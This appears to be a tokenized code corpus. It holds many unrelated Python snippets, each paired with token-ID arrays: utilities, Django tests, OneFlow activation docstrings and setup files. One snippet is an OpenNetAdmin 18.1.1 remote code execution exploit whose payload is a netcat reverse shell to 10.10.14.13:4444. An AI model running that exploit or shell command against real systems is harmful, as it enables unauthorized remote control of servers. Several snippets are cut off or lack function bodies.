2.893082
318
''' リストモジュール ''' def split_list(elements: list, num_of_elements: int) -> list[list]: ''' リスト分割 Args: elements (list) : 要素リスト num_of_elements (int) : 分割単位の要素数 Returns: list[list]: 分割結果リスト ''' items_list: list[list] = \ [elements[index : index + num_of_elements] for index in range(0, len(elements), num_of_elements)] return items_list
[ 7061, 6, 201, 198, 12675, 43302, 40361, 21091, 24440, 43353, 201, 198, 7061, 6, 201, 198, 201, 198, 201, 198, 4299, 6626, 62, 4868, 7, 68, 3639, 25, 1351, 11, 997, 62, 1659, 62, 68, 3639, 25, 493, 8, 4613, 1351, 58, 4868, 5974, ...
1.614035
285
#!/usr/bin/env python3 def object_adder(a, b): """Adds two object together""" if type(a) is not int or type(b) is not int: raise TypeError("Object is not of type int") return a + b import sys print(sys.argv)
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 198, 4299, 2134, 62, 26676, 7, 64, 11, 275, 2599, 198, 220, 220, 220, 37227, 46245, 734, 2134, 1978, 37811, 198, 220, 220, 220, 611, 2099, 7, 64, 8, 318, 407, 493, 393, 2099, ...
2.527473
91
from django.contrib.auth import get_user_model from django.test import TestCase, Client from django.core.cache import cache from posts.models import Post, Group User = get_user_model() index = '/' group = 'group' test_slug = 'test_slug' fake_slug = 'fake_slug' new_post = 'new' post_edit = 'edit' post_delete = 'delete' follow_index = 'follow' profile_follow = 'follow' profile_unfollow = 'unfollow' post_author = 'post_author' another_user = 'another_user' fake_author = 'fake_author' login = 'auth/login'
[ 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 1330, 651, 62, 7220, 62, 19849, 198, 6738, 42625, 14208, 13, 9288, 1330, 6208, 20448, 11, 20985, 198, 6738, 42625, 14208, 13, 7295, 13, 23870, 1330, 12940, 198, 198, 6738, 6851, 13, 27530, ...
2.838889
180
from typing import AbstractSet from django.db import models from django.contrib.auth.models import AbstractUser from django.conf import settings from django.urls import reverse from django.utils.translation import gettext_lazy as _
[ 6738, 19720, 1330, 27741, 7248, 201, 198, 6738, 42625, 14208, 13, 9945, 1330, 4981, 201, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 27530, 1330, 27741, 12982, 201, 198, 6738, 42625, 14208, 13, 10414, 1330, 6460, 201, 198, 67...
3.28
75
from rpython.translator.tool.cbuild import ExternalCompilationInfo from rpython.rtyper.lltypesystem import lltype, rffi from rpython.rtyper.tool import rffi_platform from rpython.translator.platform import CompilationError eci = ExternalCompilationInfo( post_include_bits=[""" // we need to disable optimizations so the compiler does not remove this // function when checking if the file compiles static void __attribute__((optimize("O0"))) pypy__arm_has_vfp() { asm volatile("VMOV s0, s1"); } """]) def detect_float(): """Check for hardware float support we try to compile a function containing a VFP instruction, and if the compiler accepts it we assume we are fine """ try: rffi_platform.verify_eci(eci) return True except CompilationError: return False
[ 6738, 374, 29412, 13, 7645, 41880, 13, 25981, 13, 66, 11249, 1330, 34579, 7293, 10520, 12360, 198, 6738, 374, 29412, 13, 81, 774, 525, 13, 297, 19199, 6781, 1330, 32660, 4906, 11, 374, 487, 72, 198, 6738, 374, 29412, 13, 81, 774, 52...
2.989051
274
from helios.chains.ropsten import ( RopstenFullChain, RopstenLightDispatchChain, ) from helios.nodes.light import LightNode from helios.nodes.full import FullNode
[ 6738, 932, 4267, 13, 38861, 13, 1773, 26400, 1330, 357, 198, 220, 220, 220, 371, 404, 26400, 13295, 35491, 11, 198, 220, 220, 220, 371, 404, 26400, 15047, 49354, 35491, 11, 198, 8, 198, 6738, 932, 4267, 13, 77, 4147, 13, 2971, 1330,...
2.932203
59
import icedata from icevision.all import *
[ 11748, 220, 3711, 1045, 198, 6738, 4771, 10178, 13, 439, 1330, 1635, 628 ]
3.384615
13
#!/usr/bin/python # Written by Stjepan Horvat # ( zvanstefan@gmail.com ) # by the exercises from David Lucal Burge - Perfect Pitch Ear Traning Supercourse # Thanks to Wojciech M. Zabolotny ( wzab@ise.pw.edu.pl ) for snd-virmidi example # ( wzab@ise.pw.edu.pl ) import random import time import sys import re fname="/dev/snd/midiC2D0" #fname=sys.argv[1] fin=open(fname,"rb") fout=open(fname,"wb") #keymin=int(sys.argv[2]) #keymax=int(sys.argv[3]) #keymin=int(60) #keymax=int(72) #c major scale print ("Exercise 7-4:") print ("C D and E. Harmonic and melodic pitch indentification. Melodic doubles.") #from c to c'' white tones #c major scale #notes = [ 36, 38, 40, 41, 43, 45, 47, 48, 50, 52, 53, 55, 57, 59, 60, 62, 64, 65, 67, 69, 71, 72, 74, 76, 77, 79, 81, 83, 84, 86, 88, 89, 91, 93, 95, 96 ] notes = [ 36, 38, 40, 48, 50, 52, 60, 62, 64, 72, 74, 76, 84, 86, 88, 96 ] noteC = [ 36, 48, 60, 72, 84, 96 ] usage = "Usage: 1-repeat, <note> <note> \"c d\", ?-usage." round = 1 a = re.compile("^[c-e] [c-e]$") try: print(usage) while True: noteOne = random.choice(notes) while True: noteTwo = random.choice(notes) if nameNote(noteOne) != nameNote(noteTwo) and noteOne < noteTwo: break match = False while not match: done = False playTwoNotes(noteOne, noteTwo) while not done: n = input("? ") if n == "1": playTwoNotes(noteOne, noteTwo) if n == "?": print(usage) #TODO:bug da prima sve umjesto samo imena nota elif a.match(n): splitNote = n.split() if splitNote[0] == nameNote(noteOne).lower() and splitNote[1] == nameNote(noteTwo).lower(): round += 1 print("Correct. Next round. " + str(round) + ".:") done = True match = True else: playTwoNotes(name2Note(splitNote[0]), name2Note(splitNote[1])) except KeyboardInterrupt: pass
[ 2, 48443, 14629, 14, 8800, 14, 29412, 198, 2, 22503, 416, 520, 73, 538, 272, 6075, 85, 265, 198, 2, 357, 1976, 10438, 301, 891, 272, 31, 14816, 13, 785, 1267, 198, 2, 416, 262, 13565, 422, 3271, 7598, 282, 5481, 469, 532, 16374, ...
2.180899
890
import functools import requests from sinks.base_source import BaseSource
[ 11748, 1257, 310, 10141, 198, 11748, 7007, 198, 198, 6738, 38614, 13, 8692, 62, 10459, 1330, 7308, 7416, 628 ]
4
19
#!/usr/bin/env python # -*- coding: utf-8 -*- """ test_accmip6 ---------------------------------- Tests for `accmip6` module. """ import pytest from pathlib import Path from acccmip6.utilities.c6db import SearchDB from acccmip6.utilities.util import _dir_path, _Construct_urls
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 201, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 201, 198, 201, 198, 37811, 201, 198, 9288, 62, 4134, 76, 541, 21, 201, 198, 3880, 438, 201, 198, 201, 198, 51, 3558...
2.5
120
#!/usr/bin/python3 ''' # Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution # Date: 2020-01-18 # Exploit Author: @amriunix (https://amriunix.com) # Vendor Homepage: http://opennetadmin.com/ # Software Link: https://github.com/opennetadmin/ona # Version: v18.1.1 # Tested on: Linux ''' import requests import sys from urllib3.exceptions import InsecureRequestWarning # Suppress only the single warning from urllib3 needed. requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) if __name__ == '__main__': print('[*] OpenNetAdmin 18.1.1 - Remote Code Execution') filename = sys.argv[0] if len(sys.argv) != 3: helper(filename) else: print("[+] Connecting !") opt = sys.argv[1].lower() target = sys.argv[2] + '/' if opt == 'check': if (check(target)): print("[+] The remote host is vulnerable!") else: print("[-] The remote host is NOT vulnerable!") elif opt == 'exploit': if (check(target)): print("[+] Connected Successfully!") else: print("[-] Warning: Error while connecting o the remote target") cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 4444 >/tmp/f" print(exploit(target, cmd)) else: print("[-] Warning: Command not found !")
[ 2, 48443, 14629, 14, 8800, 14, 29412, 18, 198, 198, 7061, 6, 198, 2, 5905, 30711, 11851, 25, 4946, 7934, 46787, 1248, 13, 16, 13, 16, 532, 21520, 6127, 37497, 198, 2, 7536, 25, 12131, 12, 486, 12, 1507, 198, 2, 5905, 30711, 6434, ...
2.209375
640
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import oneflow as flow import oneflow._oneflow_internal from oneflow.python.nn.module import Module from oneflow.python.oneflow_export import oneflow_export, experimental_api from oneflow.python.framework.tensor import register_tensor_op from typing import Optional @oneflow_export("nn.ReLU") @experimental_api class ReLU(Module): r"""Applies the rectified linear unit function element-wise: :math:`\text{ReLU}(x) = (x)^+ = \max(0, x)` Args: inplace: can optionally do the operation in-place. Default: ``False`` Shape: - Input: :math:`(N, *)` where `*` means, any number of additional dimensions - Output: :math:`(N, *)`, same shape as the input For example: .. code-block:: python >>> import oneflow.experimental as flow >>> import numpy as np >>> flow.enable_eager_execution() >>> relu = flow.nn.ReLU() >>> ndarr = np.asarray([1, -2, 3]) >>> x = flow.Tensor(ndarr) >>> relu(x).numpy() array([1., 0., 3.], dtype=float32) """ @oneflow_export("nn.ReLU6") @experimental_api class ReLU6(Module): r"""Applies the element-wise function: .. math:: \text{Relu6}(x) = \begin{cases} 6 & \text{ if } x > 6 \\ 0 & \text{ if } x < 0 \\ x & \text{ otherwise } \\ \end{cases} Args: inplace: can optionally do the operation in-place. Default: ``False`` Shape: - Input: :math:`(N, *)` where `*` means, any number of additional dimensions - Output: :math:`(N, *)`, same shape as the input For example: .. code-block:: python >>> import numpy as np >>> import oneflow.experimental as flow >>> flow.enable_eager_execution() >>> x = np.array([-0.5, 0, 0.5]).astype(np.float32) >>> input = flow.Tensor(x) >>> relu6 = flow.nn.ReLU6() >>> out = relu6(input).numpy() >>> print(out) [0. 0. 0.5] """ @oneflow_export("nn.Tanh") @experimental_api class Tanh(Module): r"""This operator computes the hyperbolic tangent value of Tensor. The equation is: .. math:: out = \frac{e^x-e^{-x}}{e^x+e^{-x}} Args: x (oneflow.Tensor): A Tensor Returns: oneflow.Tensor: The result Tensor For example: .. code-block:: python >>> import numpy as np >>> import oneflow.experimental as flow >>> flow.enable_eager_execution() >>> x = np.array([-1, 0, 1]).astype(np.float32) >>> input = flow.Tensor(x) >>> tanh = flow.nn.Tanh() >>> out = tanh(input).numpy() >>> print(out) [-0.7615942 0. 0.7615942] """ @oneflow_export("tanh") @register_tensor_op("tanh") @experimental_api def tanh_op(x): r"""This operator computes the hyperbolic tangent value of Tensor. The equation is: .. math:: out = \frac{e^x-e^{-x}}{e^x+e^{-x}} Args: x (oneflow.Tensor): A Tensor Returns: oneflow.Tensor: The result Tensor For example: .. code-block:: python import oneflow as flow import numpy as np x = np.array([-1, 0, 1]).astype(np.float32) input = flow.Tensor(x) tanh = flow.nn.Tanh() out = tanh(input).numpy() # out [-0.7615942 0. 0.7615942] """ return Tanh()(x) @oneflow_export("nn.ELU") @experimental_api class ELU(Module): r"""Applies the element-wise function: .. math:: \text{ELU}(x) = \begin{cases} x & \text{ if } x \gt 0 \\ \alpha*(exp(x)-1) & \text{ if } x \le 0 \\ \end{cases} Args: alpha: the :math:`\alpha` value for the ELU formulation. Default: 1.0 inplace: can optionally do the operation in-place. Default: ``False`` Shape: - Input: :math:`(N, *)` where `*` means, any number of additional dimensions - Output: :math:`(N, *)`, same shape as the input For example: .. code-block:: python >>> import numpy as np >>> import oneflow.experimental as flow >>> flow.enable_eager_execution() >>> x = np.array([-0.5, 0, 0.5]).astype(np.float32) >>> input = flow.Tensor(x) >>> elu = flow.nn.ELU() >>> out = elu(input).numpy() >>> print(out) [-0.39346933 0. 0.5 ] """ @oneflow_export("nn.GELU") @experimental_api class GELU(Module): r"""Gelu activation operator. The equation is: .. math:: out = 0.5 * x * (1 + tanh(\sqrt{\frac{2}{\pi}} * (x + 0.044715x^{3}))) Args: x (oneflow.Tensor): Input Tensor Returns: oneflow.Tensor: A Tensor. For example: .. code-block:: python >>> import numpy as np >>> import oneflow.experimental as flow >>> flow.enable_eager_execution() >>> x = np.array([-0.5, 0, 0.5]).astype(np.float32) >>> input = flow.Tensor(x) >>> gelu = flow.nn.GELU() >>> out = gelu(input).numpy() >>> print(out) [-0.15426877 0. 0.34573123] """ @oneflow_export("gelu") @register_tensor_op("gelu") @experimental_api def gelu_op(x): r"""Gelu activation operator. The equation is: .. math:: out = 0.5 * x * (1 + tanh(\sqrt{\frac{2}{\pi}} * (x + 0.044715x^{3}))) Args: x (oneflow.Tensor): Input Tensor Returns: oneflow.Tensor: A Tensor. For example: .. code-block:: python >>> import numpy as np >>> import oneflow.experimental as flow >>> flow.enable_eager_execution() >>> x = np.array([-0.5, 0, 0.5]).astype(np.float32) >>> input = flow.Tensor(x) >>> gelu = flow.nn.GELU() >>> out = gelu(input).numpy() >>> print(out) [-0.15426877 0. 0.34573123] """ return GELU()(x) @oneflow_export("nn.Sigmoid") @experimental_api class Sigmoid(Module): r"""Applies the element-wise function: .. math:: \text{Sigmoid}(x) = \sigma(x) = \frac{1}{1 + \exp(-x)} Shape: - Input: :math:`(N, *)` where `*` means, any number of additional dimensions - Output: :math:`(N, *)`, same shape as the input For example: .. code-block:: python import oneflow.experimental as flow import numpy as np x = flow.Tensor( np.array( [ [0.81733328, 0.43621480, 0.10351428], [-1.15555191, -0.67776406, 0.27372134], ] ) ) m = flow.nn.Sigmoid() # or y = flow.sigmoid(x) y = m(x) # [[0.69366997, 0.60735673, 0.52585548], # [0.23947647, 0.33676055, 0.56800622]] """ @oneflow_export("sigmoid") @register_tensor_op("sigmoid") @experimental_api def sigmoid_op(x): r"""Applies the element-wise function: .. math:: \text{Sigmoid}(x) = \sigma(x) = \frac{1}{1 + \exp(-x)} Shape: - Input: :math:`(N, *)` where `*` means, any number of additional dimensions - Output: :math:`(N, *)`, same shape as the input For example: .. code-block:: python import oneflow.experimental as flow import numpy as np x = flow.Tensor( np.array( [ [0.81733328, 0.43621480, 0.10351428], [-1.15555191, -0.67776406, 0.27372134], ] ) ) y = x.sigmoid() # [[0.69366997, 0.60735673, 0.52585548], # [0.23947647, 0.33676055, 0.56800622]] """ return Sigmoid()(x) @oneflow_export("nn.Hardsigmoid") @experimental_api class Hardsigmoid(Module): r"""Applies the element-wise function: .. math:: \text{Hardsigmoid}(x) = \begin{cases} 0 & \text{ if } x \le -3 \\ 1 & \text{ if } x \ge +3 \\ \frac{x}{6} + \frac{1}{2} & \text{ otherwise } \\ \end{cases} Args: inplace: can optionally do the operation in-place. Default: ``False`` Shape: - Input: :math:`(N, *)` where `*` means, any number of additional dimensions - Output: :math:`(N, *)`, same shape as the input For example: .. code-block:: python >>> import numpy as np >>> import oneflow.experimental as flow >>> flow.enable_eager_execution() >>> x = np.array([-0.5, 0, 0.5]).astype(np.float32) >>> input = flow.Tensor(x) >>> hardsigmoid = flow.nn.Hardsigmoid() >>> out = hardsigmoid(input).numpy() >>> print(out) [0.41666666 0.5 0.5833333 ] """ @oneflow_export("nn.Softmax") @experimental_api @oneflow_export("softmax") @register_tensor_op("softmax") @experimental_api def softmax_op(tensor, dim=None): r"""Applies the Softmax function to an n-dimensional input Tensor rescaling them so that the elements of the n-dimensional output Tensor lie in the range [0,1] and sum to 1. Softmax is defined as: .. math:: \text{Softmax}(x_{i}) = \frac{\exp(x_i)}{\sum_j \exp(x_j)} When the input Tensor is a sparse tensor then the unspecifed values are treated as ``-inf``. Shape: - Input: :math:`(*)` where `*` means, any number of additional dimensions - Output: :math:`(*)`, same shape as the input Returns: a Tensor of the same dimension and shape as the input with values in the range [0, 1] Args: dim (int): A dimension along which Softmax will be computed (so every slice along dim will sum to 1). For example: .. code-block:: python import oneflow as flow import numpy as np m = flow.nn.Softmax(dim = 2) x = flow.Tensor( np.array( [[[[-0.46716809, 0.40112534, 0.61984003], [-1.31244969, -0.42528763, 1.47953856]]], [[[ 1.02978742, -0.49383053, 1.88214159], [ 1.35351622, -1.46251285, -1.40751374]]]] ) ) y = m(x) # [[[[0.6995764 0.6955959 0.29740235] # [0.3004236 0.30440408 0.7025977 ]]] # [[[0.4197673 0.7248568 0.96407217] # [0.58023274 0.27514324 0.03592779]]]] """ return Softmax(dim)(tensor) @oneflow_export("nn.LogSoftmax") @experimental_api class LogSoftmax(Module): r"""Applies the :math:`\log(\text{Softmax}(x))` function to an n-dimensional input Tensor. The LogSoftmax formulation can be simplified as: .. math:: \text{LogSoftmax}(x_{i}) = \log\left(\frac{\exp(x_i) }{ \sum_j \exp(x_j)} \right) Args: dim (int): A dimension along which LogSoftmax will be computed. Shape: - Input: :math:`(N, *)` where `*` means, any number of additional dimensions - Output: :math:`(N, *)`, same shape as the input For example: .. code-block:: python import oneflow.experimental as flow import numpy as np m = flow.nn.LogSoftmax(dim=1) x = flow.Tensor( np.array( [[ 0.4296, -1.1957, 2.5463], [ 1.2552, -1.5747, 0.6923]] ) ) y = m(x) # [[-2.251349 -3.8766491 -0.13464898] # [-0.48770458 -3.3176045 -1.0506046 ]] """ @oneflow_export("nn.LogSigmoid") @experimental_api class LogSigmoid(Module): r"""Applies the element-wise function: .. math:: \text{LogSigmoid}(x) = \log\left(\frac{ 1 }{ 1 + \exp(-x)}\right) Shape: - Input: :math:`(N, *)` where `*` means, any number of additional dimensions - Output: :math:`(N, *)`, same shape as the input For example: .. code-block:: python >>> import numpy as np >>> import oneflow.experimental as flow >>> flow.enable_eager_execution() >>> x = np.array([-0.5, 0, 0.5]).astype(np.float32) >>> input = flow.Tensor(x) >>> logsigmoid = flow.nn.LogSigmoid() >>> out = logsigmoid(input).numpy() >>> print(out) [-0.974077 -0.6931472 -0.47407696] """ @oneflow_export("nn.Softplus") @experimental_api class Softplus(Module): r"""Applies the element-wise function: .. math:: \text{Softplus}(x) = \frac{1}{\beta} * \log(1 + \exp(\beta * x)) SoftPlus is a smooth approximation to the ReLU function and can be used to constrain the output of a machine to always be positive. For numerical stability the implementation reverts to the linear function when :math:`input \times \beta > threshold`. Args: beta: the :math:`\beta` value for the Softplus formulation. Default: 1 threshold: values above this revert to a linear function. Default: 20 Shape: - Input: :math:`(N, *)` where `*` means, any number of additional dimensions - Output: :math:`(N, *)`, same shape as the input For example: .. code-block:: python >>> import numpy as np >>> import oneflow.experimental as flow >>> flow.enable_eager_execution() >>> x = np.array([-0.5, 0, 0.5]).astype(np.float32) >>> input = flow.Tensor(x) >>> softplus = flow.nn.Softplus() >>> out = softplus(input).numpy() >>> print(out) [0.474077 0.6931472 0.974077 ] """ @oneflow_export("nn.Hardswish") @experimental_api class Hardswish(Module): r"""Applies the hardswish function, element-wise, as described in the paper: `Searching for MobileNetV3`_. .. math:: \text{Hardswish}(x) = \begin{cases} 0 & \text{ if } x \le -3 \\ x & \text{ if } x \ge +3 \\ x*(x+3)/6 & \text{ otherwise } \\ \end{cases} Args: inplace: can optionally do the operation in-place. Default: ``False`` Shape: - Input: :math:`(N, *)` where `*` means, any number of additional dimensions - Output: :math:`(N, *)`, same shape as the input .. code-block:: python >>> import numpy as np >>> import oneflow.experimental as flow >>> flow.enable_eager_execution() >>> x = np.array([-0.5, 0, 0.5]).astype(np.float32) >>> input = flow.Tensor(x) >>> hardswish = flow.nn.Hardswish() >>> out = hardswish(input).numpy() >>> print(out) [-0.20833333 0. 0.29166666] .. _`Searching for MobileNetV3`: https://arxiv.org/abs/1905.02244 """ @oneflow_export("nn.Hardtanh") @experimental_api class Hardtanh(Module): r""" Applies the HardTanh function element-wise HardTanh is defined as: .. math:: \text{HardTanh}(x) = \begin{cases} 1 & \text{ if } x > 1 \\ -1 & \text{ if } x < -1 \\ x & \text{ otherwise } \\ \end{cases} The range of the linear region :math:`[-1, 1]` can be adjusted using :attr:`min_val` and :attr:`max_val`. Args: min_val: minimum value of the linear region range. Default: -1 max_val: maximum value of the linear region range. Default: 1 inplace: can optionally do the operation in-place. Default: ``False`` Keyword arguments :attr:`min_value` and :attr:`max_value` have been deprecated in favor of :attr:`min_val` and :attr:`max_val`. Shape: - Input: :math:`(N, *)` where `*` means, any number of additional dimensions - Output: :math:`(N, *)`, same shape as the input For example: .. code-block:: python >>> import numpy as np >>> import oneflow.experimental as flow >>> flow.enable_eager_execution() >>> m = flow.nn.Hardtanh() >>> arr = np.array([0.2, 0.3, 3.0, 4.0]) >>> x = flow.Tensor(arr) >>> out = m(x).numpy() >>> print(out) [0.2 0.3 1. 1. ] """ @oneflow_export("nn.LeakyReLU") @experimental_api class LeakyReLU(Module): r"""Applies the element-wise function: .. math:: \text{LeakyReLU}(x) = \max(0, x) + \text{negative_slope} * \min(0, x) or .. math:: \text{LeakyRELU}(x) = \begin{cases} x, & \text{ if } x \geq 0 \\ \text{negative_slope} \times x, & \text{ otherwise } \end{cases} Args: negative_slope: Controls the angle of the negative slope. Default: 1e-2 inplace: can optionally do the operation in-place. Default: ``False`` Shape: - Input: :math:`(N, *)` where `*` means, any number of additional dimensions - Output: :math:`(N, *)`, same shape as the input For example: .. code-block:: python >>> import numpy as np >>> import oneflow.experimental as flow >>> flow.enable_eager_execution() >>> m = flow.nn.LeakyReLU(0.1) >>> arr = np.array([0.2, 0.3, 3.0, 4.0]) >>> x = flow.Tensor(arr) >>> out = m(x).numpy() >>> print(out) [0.2 0.3 3. 4. ] """ if __name__ == "__main__": import doctest doctest.testmod()
[ 37811, 198, 15269, 12131, 383, 1881, 37535, 46665, 13, 1439, 2489, 10395, 13, 198, 198, 26656, 15385, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 5832, 743, 407, 779, 428, 2393, 2845, 287, 11846, ...
2.151306
8,268
""" #################################################################################################### # Copyright Info : Copyright (c) Davar Lab @ Hikvision Research Institute. All rights reserved. # Filename : mango_r50_ete_pretrain.py # Abstract : Model settings for mask rcnn spotter end-to-end pretrain on synthdata. # Current Version: 1.0.0 # Date : 2020-06-24 ###################################################################################################### """ _base_ = './__base__.py' data = dict( samples_per_gpu=4, workers_per_gpu=4, train=dict( ann_file=[ '/path/to/datalist/synthtext_80w.json', ], img_prefix=[ '/path/to/SynthText/', ] ), val=dict( ann_file='/path/to/datalist/icdar2013_test_datalist.json', img_prefix='/path/to/ICDAR2013-Focused-Scene-Text/', ), test=dict( ann_file='/path/to/datalist/icdar2013_test_datalist.json', img_prefix='/path/to/ICDAR2013-Focused-Scene-Text/', ) ) optimizer=dict(lr=1e-3) lr_config = dict(step=[2, 3]) runner = dict(max_epochs=4) checkpoint_config = dict(interval=1, filename_tmpl='checkpoint/res50_ete_pretrain_epoch_{}.pth') work_dir = '/path/to/workspace/log/' load_from = '/path/to/Model_Zoo/mask_rcnn_r50_fpn_2x_20181010-41d35c05.pth'
[ 37811, 198, 29113, 29113, 29113, 4242, 198, 2, 15069, 14151, 1058, 220, 220, 220, 15069, 357, 66, 8, 2544, 283, 3498, 2488, 39790, 10178, 4992, 5136, 13, 1439, 2489, 10395, 13, 198, 2, 7066, 12453, 220, 220, 220, 220, 220, 220, 1058, ...
2.389474
570
# -*- coding: utf-8 -*- import os import numpy as np import pandas as pd import rdkit from rdkit import Chem, DataStructs from rdkit.Chem import AllChem, Descriptors DATA_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "./train/data/pKaInWater.csv")
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 11748, 28686, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 19798, 292, 355, 279, 67, 198, 11748, 374, 67, 15813, 198, 6738, 374, 67, 15813, 1330, 12870, 11, 6060...
2.54717
106
from typing import Tuple from hypothesis import given from gon.base import (Multipolygon, Point) from tests.utils import equivalence from . import strategies @given(strategies.multipolygons) @given(strategies.multipolygons_with_points)
[ 6738, 19720, 1330, 309, 29291, 198, 198, 6738, 14078, 1330, 1813, 198, 198, 6738, 35140, 13, 8692, 1330, 357, 15205, 541, 3366, 14520, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220...
2.75
96
from default_data import default_data values={1:str(default_data.sample_id),2:default_data.sample_type,3:default_data.report_type,4:default_data.doc_type } set_options = {1:"id", 2:"type", 3:"report", 4:"doc"} get_options = {1: "name", 2: "intro", 3: "gene", 4: "stem-loop", 5: "peptide", 6: "cds", 7: "source", 8: "comment", 9: "all"} cases = {0:"exit",1:"cls",2:"get",3:"help",4:"set",5:"visualize",6: "ftp",7: "options", 8: "fetch", 9: "searchd", 10: "searchl"} error_key = {0: "Your browsing activity is empty.", 1: "Error404"}
[ 6738, 4277, 62, 7890, 1330, 4277, 62, 7890, 198, 27160, 34758, 16, 25, 2536, 7, 12286, 62, 7890, 13, 39873, 62, 312, 828, 17, 25, 12286, 62, 7890, 13, 39873, 62, 4906, 11, 18, 25, 12286, 62, 7890, 13, 13116, 62, 4906, 11, 19, 25...
2.492958
213
from ast import FunctionDef from os import path from munch import munchify from pyfakefs.pytest_plugin import fs import pytest from pytestgen.load import PyTestGenInputFile from pytestgen.parse import PyTestGenParsedSet, PyTestGenParsedFile, get_existing_test_functions import pytestgen.output from fixtures import mock_module_testable_func, mock_class_testable_func @pytest.fixture @pytest.fixture
[ 6738, 6468, 1330, 15553, 7469, 198, 6738, 28686, 1330, 3108, 198, 198, 6738, 285, 3316, 1330, 285, 3316, 1958, 198, 6738, 12972, 30706, 9501, 13, 9078, 9288, 62, 33803, 1330, 43458, 198, 11748, 12972, 9288, 198, 198, 6738, 12972, 9288, ...
3.186047
129
# Copyright 2017. Allen Institute. All rights reserved # # Redistribution and use in source and binary forms, with or without modification, are permitted provided that the # following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following # disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following # disclaimer in the documentation and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote # products derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # import os import sys import h5py import pandas as pd import numpy as np from . import utils from .population import NodePopulation, EdgePopulation from .types_table import NodeTypesTable, EdgeTypesTable class FileRoot(object): """Base class for both /nodes and /edges root group in h5 file""" def __init__(self, root_name, h5_files, h5_mode, csv_files): """ :param root_name: should either be 'nodes' or 'edges' :param h5_files: file (or list of files) containing nodes/edges :param h5_mode: currently only supporting 'r' mode in h5py :param csv_files: file (or list of files) containing node/edge types """ self._root_name = root_name self._h5_handles = [utils.load_h5(f, h5_mode) for f in utils.listify(h5_files)] self._csv_handles = [(f, utils.load_csv(f)) for f in utils.listify(csv_files)] # merge and create a table of the types table(s) self._types_table = None self._build_types_table() # population_name->h5py.Group table (won't instantiate the population) self._populations_groups = {} self._store_groups() # A map between population_name -> Population object. Population objects aren't created until called, in the # case user wants to split populations among MPI nodes (instantiation will create node/edge indicies and other # overhead). self._populations_cache = {} self.check_format() @property @property @property @property @types_table.setter def _store_groups(self): """Create a map between group population to their h5py.Group handle""" for h5handle in self._h5_handles: assert(self.root_name in h5handle.keys()) for pop_name, pop_group in h5handle[self._root_name].items(): if pop_name in self._populations_groups: raise Exception('Multiple {} populations with name {}.'.format(self._root_name, pop_name)) self._populations_groups[pop_name] = pop_group def get_population(self, population_name, default=None): """Return a population group object based on population's name""" if population_name in self: return self[population_name] else: # need this for EdgeRoot.get_populations return default
[ 2, 15069, 2177, 13, 9659, 5136, 13, 1439, 2489, 10395, 198, 2, 198, 2, 2297, 396, 3890, 290, 779, 287, 2723, 290, 13934, 5107, 11, 351, 393, 1231, 17613, 11, 389, 10431, 2810, 326, 262, 198, 2, 1708, 3403, 389, 1138, 25, 198, 2, ...
2.930128
1,331
import os from setuptools import setup from setuptools import find_packages NAME = 'CMFCore' here = os.path.abspath(os.path.dirname(__file__)) package = os.path.join(here, 'Products', NAME) _boundary = '\n' + ('-' * 60) + '\n\n' README = _boundary.join([ _package_doc('README.txt'), _package_doc('CHANGES.txt'), ]) setup(name='Products.%s' % NAME, version='2.4.0b5.dev0', description='Zope Content Management Framework core components', long_description=README, classifiers=[ "Development Status :: 4 - Beta", "Framework :: Plone", "Framework :: Zope :: 4", "Intended Audience :: Developers", "License :: OSI Approved :: Zope Public License", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: Implementation :: CPython", "Topic :: Software Development :: Libraries :: Application Frameworks", # noqa ], keywords='web application server zope cmf', author="Zope Foundation and Contributors", author_email="zope-cmf@zope.org", url="https://github.com/zopefoundation/Products.CMFCore", license="ZPL 2.1", packages=find_packages(), include_package_data=True, namespace_packages=['Products'], 